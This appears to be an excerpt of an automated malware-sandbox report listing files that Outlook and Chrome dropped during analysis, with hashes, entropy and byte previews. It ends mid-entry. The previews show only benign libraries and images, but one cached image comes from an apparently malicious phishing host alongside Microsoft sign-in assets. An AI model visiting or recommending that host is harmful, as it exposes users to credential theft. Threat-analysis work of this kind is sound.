C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20241007T1458090313-6928.etl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	90112
Entropy (8bit):	4.444455468942576
Encrypted:	false
SSDEEP:	768:u855Fjn8DsF/uuN64lG49mYUVXXz2+6u/:H84lG49mYUZXD6c
MD5:	E1454C2BB173F7F3C6027E9124679AF1
SHA1:	E8CACAE97ECB66223FBC91FAB3DDE14AA65F0F92
SHA-256:	BFBF4C9A7AC6F3127E2435ACC0D997CDA17260F981EA5E4E37FB60ECB0DFA145
SHA-512:	A5F8F5AD0F33F9F1A27518DC58CF9F80D1F8851A014CEB561CA9A43E022160BD834DA6E38A97191C69D0D2E3D4F8461260D7DAC54408BBCBBEC72442F3EDB524
Malicious:	false
Preview:	............................................................................`...................................eJ..............Zb..2...................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1............................................................3V..Y..........................v.2._.O.U.T.L.O.O.K.:.1.b.1.0.:.a.c.6.3.f.2.0.1.b.5.d.f.4.c.9.0.9.7.5.2.0.a.6.c.4.4.7.3.1.2.5.9...C.:.\.U.s.e.r.s.\.c.a.l.i.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.O.u.t.l.o.o.k. .L.o.g.g.i.n.g.\.O.U.T.L.O.O.K._.1.6._.0._.1.6.8.2.7._.2.0.1.3.0.-.2.0.2.4.1.0.0.7.T.1.4.5.8.0.9.0.3.1.3.-.6.9.2.8...e.t.l.......P.P.........Zl..............................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF47940FB520C6617C.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	163840
Entropy (8bit):	0.3964899184213129
Encrypted:	false
SSDEEP:	192:25IMqS/AVmjkr2BEt0OEB+7p0n/Ibswi112NgiXHWQOTLNhU:2KMdsmjM2KWNByHi11ZiXHOT
MD5:	3A7A50417C76594FC03BB6DE6E9C524F
SHA1:	07D397014F047C2BF0C66EBCBAF21629A33EA386
SHA-256:	062C580DF777325D73CB204C1BCC6919791F6B6E6A95F9EFF5074F375D0FA34B
SHA-512:	177A556C1F053FEE7928CE7EF2A0A3D63C773C5A70F1DE4DFB516268EFCE9CE16B85099F43B07B5CE1FB5F1AB765A0D52933AE43298A2439F8A454E479E85225
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Office\MSO3072.acl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	30
Entropy (8bit):	1.2389205950315936
Encrypted:	false
SSDEEP:	3:CQ/X:C
MD5:	B01BAB5201B221E4E050515A1F6CAAF2
SHA1:	C1C063BDAC1E2A058840C71F8007E5CF5BBE0F0D
SHA-256:	5E0328883E1031A48948F42E6E163199A80D7895A26BE7F3349EE6082544D1CF
SHA-512:	7F9D6E8B581956FC12E7D5556B47D31B67BB576712304880A5BE74D25719BC49D63DEFB614BB44089EB5DCDB904E11424715BE8AA239CA440605E63C05B0A11C
Malicious:	false
Preview:	..............................

C:\Users\user\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	14
Entropy (8bit):	2.699513850319966
Encrypted:	false
SSDEEP:	3:QGiWlG:QGbY
MD5:	C5A12EA2F9C2D2A79155C1BC161C350C
SHA1:	75004B4B6C6C4EE37BE7C3FD7EE4AF4A531A1B1A
SHA-256:	61EC0DAA23CBC92167446DADEFB919D86E592A31EBBD0AB56E64148EBF82152D
SHA-512:	B3D5AF7C4A9CB09D27F0522671503654D06891740C36D3089BB5CB21E46AB235B0FA3DC2585A383B9F89F5C6DAE78F49F72B0AD58E6862DE39F440C4D6FF460B
Malicious:	false
Preview:	..c.a.l.i.....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Oct 7 17:58:38 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9834761413285027
Encrypted:	false
SSDEEP:	48:8CdyTeGOHmidAKZdA1FehwiZUklqehty+3:83jnay
MD5:	E6D1F1273088149B0AE33449C060E29A
SHA1:	91017D910AF240529DFE1F6C2B02872CF96DE7B7
SHA-256:	37ADC0F976C0BE4D55DF2E8B3241858246717DF1B8FED83A82C4F26E688C934B
SHA-512:	6BC17071826D5026220ABD083358BEE9A6BF5C7F5A860568F560FA7B946D55B8960097A9D7D4FF3AA71EAC2983EA027F6C085DF5DB05187874D27D891D368C27
Malicious:	false
Preview:	L..................F.@.. ...$+.,....\.......N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IGY7.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VGYR.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VGYR.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VGYR............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VGYT............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............{P.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Oct 7 17:58:38 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	4.000024846871334
Encrypted:	false
SSDEEP:	48:8CdyTeGOHmidAKZdA1seh/iZUkAQkqehKy+2:83jR9QLy
MD5:	FCA99C7B990100A12E9643542CC0DA45
SHA1:	4F1059FB5F1659EF6A7EDE8694637CD186AA4F58
SHA-256:	2ECF4855D3EDCA508C4B00BE80BAD6D19E83A4439670A63A4287896A8947587B
SHA-512:	B5CCFA0E3D32C9CFC9B2AE0409073E495CF188A4F2A653AA62DDF389BA1B20CC39B8ED267E4EB727029C6E69966924E644CEF81BCD2EE9EEA89E923F90E79F92
Malicious:	false
Preview:	L..................F.@.. ...$+.,....Y.......N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IGY7.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VGYR.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VGYR.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VGYR............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VGYT............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............{P.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.008133733903648
Encrypted:	false
SSDEEP:	48:8WdyTeGAHmidAKZdA14meh7sFiZUkmgqeh7sAy+BX:8LjznWy
MD5:	6231E8A87C2EF180E958980F46C89B62
SHA1:	04341D63527AAE171114E160C555B29949D3136E
SHA-256:	42C8F2DF073886D328CC662C38077B8517574B1085B84FD9B5FE823BF3DBD9F1
SHA-512:	CD9DE2BFADC864E2324EBDA45CD3767DA7D048E2EC21FDE532152D2801433BF7B9BD9AEA46BB82B6C56FBA9035C8573A8D50DD7DADD4D5DFFA73EC62471FC0C5
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IGY7.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VGYR.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VGYR.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VGYR............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............{P.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Oct 7 17:58:38 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.997358255385928
Encrypted:	false
SSDEEP:	48:89dyTeGOHmidAKZdA1TehDiZUkwqehOy+R:8CjiYy
MD5:	27D459D3A4A16E648B127E56A020E5A2
SHA1:	5FFA33D19F1CDF9018A4CAB3C26A639A8DE0AD72
SHA-256:	A51547DA0FEA101DF9EDB4A548A474E25A7C0A71A56D439CFBC0E2D87C4CAEEE
SHA-512:	7D54890CAF35F116445CEC338F865C8430FE3796CB0C8AD4936F9B07686C81684736346E06CBC2993E101ADABF756FCDF2DC1862D885152A76FF44D7F1962323
Malicious:	false
Preview:	L..................F.@.. ...$+.,....K.......N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IGY7.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VGYR.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VGYR.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VGYR............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VGYT............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............{P.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Oct 7 17:58:38 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9878051715821505
Encrypted:	false
SSDEEP:	48:8tdyTeGOHmidAKZdA1dehBiZUk1W1qeh8y+C:8Sjy9cy
MD5:	FC9AF70D9EEE5A133368FB32A6A6E170
SHA1:	8C2F1E0D1FBF4A21E12FFB577EFAFF0507AAB085
SHA-256:	F325A367ECB593B939941064C3ABAAE7DC343E1CA5F6F870DAFEDDC559A687EE
SHA-512:	3B2A5DF01978CF095F839AE1BD0D639A00B87BAD122FD2A03870DDDD2727367F95531EB1BF2A6C2848A6F3C4D73B3632079C3A6C061E93533F0BACA0243059F8
Malicious:	false
Preview:	L..................F.@.. ...$+.,............N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IGY7.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VGYR.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VGYR.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VGYR............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VGYT............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............{P.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Oct 7 17:58:38 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9968807236692214
Encrypted:	false
SSDEEP:	48:84ydyTeGOHmidAKZdA1duTeehOuTbbiZUk5OjqehOuTbWy+yT+:84HjoTfTbxWOvTbWy7T
MD5:	411E661D105C90B79DFB24715CF3CE9E
SHA1:	82F4B9F3634143E19918278340683550B0335E27
SHA-256:	5FF0FEFC60772C9B8FF6A9A8FC8F1224CE554133205A46B412049E523D1585CF
SHA-512:	9F8CCE3788967374D1964632AD11BC811E3D00C8CF62E9E1A95ED588B3CF5F567860EA9BABF9EE2C31F6A87A2F5F85CF60C2BB736C57BCCF7B88049C691A7853
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....!......N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IGY7.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VGYR.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VGYR.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VGYR............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VGYT............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............{P.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	Microsoft Outlook email folder (>=2003)
Category:	dropped
Size (bytes):	271360
Entropy (8bit):	1.2480872481119762
Encrypted:	false
SSDEEP:	768:0nQc3E5gYYe5BoPgO2NArMMG81FG/MvtNVTIN5:VqYfBRBGNGKtgz
MD5:	BD6E82173A35764755AA4965942476D1
SHA1:	00C44526646CF16EB84AF368A0B24822D75CB251
SHA-256:	484F0D0B3A6EE26F85F4CA613F844DFC979D6280B40491F1B39259D157D15288
SHA-512:	CFF493EAF329B858F43FF343610804C5D556AB66B7B56AC538777C997B08EF932FCD82FB1BBF1C94965C48ECF37AD267B9EF7F0B1ECDB1793EBD3F8C7B2E55C1
Malicious:	true
Preview:	!BDN.@.SM......\.......................U................@...........@...@...................................@...........................................................................$.......D.......T..........................................................................................................................................................................................................................................................................................................................<...........a.`.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\Outlook Files\~Outlook Data File - NoEmail.pst.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	1.0192015514395605
Encrypted:	false
SSDEEP:	192:UfkwjTIIJxDerV2rzEiJaJILnoo8noxfT8aK/7OO6oww/QMiormPUzPvfT:ojTIgxDeBjigJTofx7RO6fOQxormPu
MD5:	219C4101DC89DAA7315B9F0E2FB89DF0
SHA1:	F897F795364798740DE86E6E2D72243029DFE01D
SHA-256:	2FB7031BCDCA3FB79D186F9C28BD80B0F749756763C5DF3D331B63543044513B
SHA-512:	8D9E586B5271BC9D11E73EA090C793E98C3198B3C3F6D662E808B4E10BB7F507776BCF8D34DA21C4849FC6EAA8E770ED301532E9B0EEE07C7DECEA5679303A1F
Malicious:	true
Preview:	.u..C...R.....................................#.!BDN.@.SM......\.......................U................@...........@...@...................................@...........................................................................$.......D.......T..........................................................................................................................................................................................................................................................................................................................<...........a.`..............B............#.........................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 149

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	dropped
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 150

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	513
Entropy (8bit):	4.720499940334011
Encrypted:	false
SSDEEP:	12:t4BdU/uRqv6DLfBHKFWJCDLfBSU1pRXIFl+MJ4bADc:t4TU/uRff0EcfIU1XXU+t2c
MD5:	A9CC2824EF3517B6C4160DCF8FF7D410
SHA1:	8DB9AEBAD84CA6E4225BFDD2458FF3821CC4F064
SHA-256:	34F9DB946E89F031A80DFCA7B16B2B686469C9886441261AE70A44DA1DFA2D58
SHA-512:	AA3DDAB0A1CFF9533F9A668ABA4FB5E3D75ED9F8AFF8A1CAA4C29F9126D85FF4529E82712C0119D2E81035D1CE1CC491FF9473384D211317D4D00E0E234AD97F
Malicious:	false
URL:	https://aadcdn.msftauth.net/shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><title>assets</title><path d="M18,11.578v.844H7.617l3.921,3.928-.594.594L6,12l4.944-4.944.594.594L7.617,11.578Z" fill="#404040"/><path d="M10.944,7.056l.594.594L7.617,11.578H18v.844H7.617l3.921,3.928-.594.594L6,12l4.944-4.944m0-.141-.071.07L5.929,11.929,5.858,12l.071.071,4.944,4.944.071.07.071-.07.594-.595.071-.07-.071-.071L7.858,12.522H18.1V11.478H7.858l3.751-3.757.071-.071-.071-.07-.594-.595-.071-.07Z" fill="#404040"/></svg>

Chrome Cache Entry: 151

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 150, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5421
Entropy (8bit):	7.930688904991097
Encrypted:	false
SSDEEP:	96:SUxJ4nAqKQCa02WVVGaMgWeRVJWiYcfb04mXYUwgPBh2RGKNpEP5O/:vD4nAqKQx02WVV8eRVyGbrUVhp4Ex4
MD5:	6F4395D60BFEA0E5AA9FB9E1945457AE
SHA1:	54124E723872C50889A119F95F31F84F9D092F3A
SHA-256:	930B3261C05DDF41566CA5906F3A5F91A437BF4DE2513A84D5995A8AA1AEC819
SHA-512:	1D682B2CDA1FB730C22A202181047379A8F74DFDFA265F2BDE9E14B5BFF9ADBE8FCE93897F78273A9639072E507DEC38A3C905C18ED694A02ECCB283C3C7130D
Malicious:	false
Preview:	.PNG........IHDR.............<.q.....sBIT....\|.d...._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-....yIDATx...pU...{.K..G09.@......P(b..[~.f.q..-T......Km..J..n.B..j...".f.."..168......{k.D.!.9..A.BrNr.......3...7..s..y....03E".R.c5M+%.R.c...^ .(.P........h+.v...I..&!D..&...!..40.1I....;..y.r[..03...%f...:.....@..C.0s.....!.w$I.8....jll,.B..`&....pY........0s..i.[RR...5.A....)... .X.....).../...w...C...\|o.H$2Q.;.y>....'IN..!..&I....$./.....M......!...; .C.....^...g.../.2.........DT...h!.m....JJJBn..._.KU...cf^. .m=.q..~.`.,..n...O.+....!~..w!}.......J.T..3<i.O?......?b....s[.Gi..A..V..V....S..Z.\..k..n...D..p.$I.zi..3.F.....7.!nr[.O9.`Y0...m!. ....Y.pxUgg.............W#..(...a......I..n..r-b.B.%.\.1.-L....)..m..8.........~......i.3...URRr..A.5V(.!....89n.......yN.{9f.P(4..^.0.13\B4...-**z....c).2.@.2.r.BM...B.o81...R.e.3. ....+........v.d....T..C... ..BQ.G....83..(.....3X..eY^i. ["...k.1

Chrome Cache Entry: 152

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	268381
Entropy (8bit):	5.072141999174343
Encrypted:	false
SSDEEP:	6144:UvD8eq9mPKl4OfKcknEHZciGhjZPdDwjdwTJFPk78vmAnhZSxwI14i:UE4OfcaZhfOeATG14i
MD5:	08C235D357750C657AC1DB7D1CF656A9
SHA1:	9257AFD2D46C3A189EC0D40A45722701D47E9CA5
SHA-256:	7BD80D06C01C0340C1B9159B9B4A197DB882CA18CBAC8E9B9AA025E68F998D40
SHA-512:	D62700E7A1FF41F9D6326CA024BA2BE1D391BC8FBB2AEAE0F427D74837899B230940BF7C2DF3D193F5300A68BB3686706D4C31328234B5CDA026A1BF52EF9E70
Malicious:	false
Preview:	/!. jQuery JavaScript Library v1.9.1. * http://jquery.com/. . Includes Sizzle.js. * http://sizzlejs.com/. . Copyright 2005, 2012 jQuery Foundation, Inc. and other contributors. * Released under the MIT license. * http://jquery.org/license. . Date: 2013-2-4. */.(function( window, undefined ) {..// Can't do this because several apps including ASP.NET trace.// the stack via arguments.caller.callee and Firefox dies if.// you try to trace through "use strict" call chains. (#13335).// Support: Firefox 18+.//"use strict";.var..// The deferred used on DOM ready..readyList,...// A central reference to the root jQuery(document)..rootjQuery,...// Support: IE<9..// For `typeof node.method` instead of `node.method !== undefined`..core_strundefined = typeof undefined,...// Use the correct document accordingly with window argument (sandbox)..document = window.document,..location = window.location,...// Map over jQuery in case of overwrite.._jQuery = window.jQuery,...// Map over the $ in c

Chrome Cache Entry: 153

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 150, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	810
Entropy (8bit):	7.187349544502698
Encrypted:	false
SSDEEP:	24:bUXUZng5LH6zfAHZburPWCGgooSplizJsiibiRAV:+L5THHZbubBHSpli1Kuy
MD5:	7395C0F4FF10EAED730BFEB5BC576351
SHA1:	530BD55C7133DC2E2EC09099F70401466FAEE30D
SHA-256:	34058A4C997349CD3C91A3BC59BCC82DD6920BD57A555B49875BF71EAE942E2C
SHA-512:	0C75EE8A73AD13AE5F3B095A1E126D5CDF9D20329AFF1374BB79A510146619B5A7D150F08AA61F8DEF1FB4158AB3A99DA79B02102623920E194E91FE5275BEDE
Malicious:	false
URL:	https://w2yf5cltgv.tkllop.online/static/media/message_think.png
Preview:	.PNG........IHDR.............<.q.....sBIT....\|.d...._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-....vIDATx...1n.A........W.p.X#A..].p.8.'.DH..".Ps...4..K.6".\|..yZk..%...J......................c...v..1.......3N..n=;....Yz..IXD...a.q...w.4M..wX.Z..R.../..4M..q./..Z..........a.!,".E......."BXD...a.!,".E......."BXD...a.!,".E......."BXD...a.!,".E......."BXD...a.!,".E......."BXD...a.!,".E......."BXD...a.!,".E......'K...n.a...........s.......i...k{Uk}...E........4M.R..9.....\__.(.\...Y.Qx...R....oV......D...%.6.,Q..(o...~...0.ok.o.\s.....M...8..s..\|.xb..=.%.6u.....mX.j[.a..}.%.>..........z.....R^......p..Xw:..7.4.....U.V...=.%.6u.....mX.j[.a..}.%.>t.....MX..K.a..?.%.>5.....lX..[.a.....v.=]z...................j..........IEND.B`.

Chrome Cache Entry: 154

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	1088
Entropy (8bit):	4.937753755353445
Encrypted:	false
SSDEEP:	24:YydmmCf205hNkHYuYDmSnfC3MLu2Y204/z:YtD205huHHOmSn63a
MD5:	CF3EDFC5C7F9E4216F399401B68CBEF8
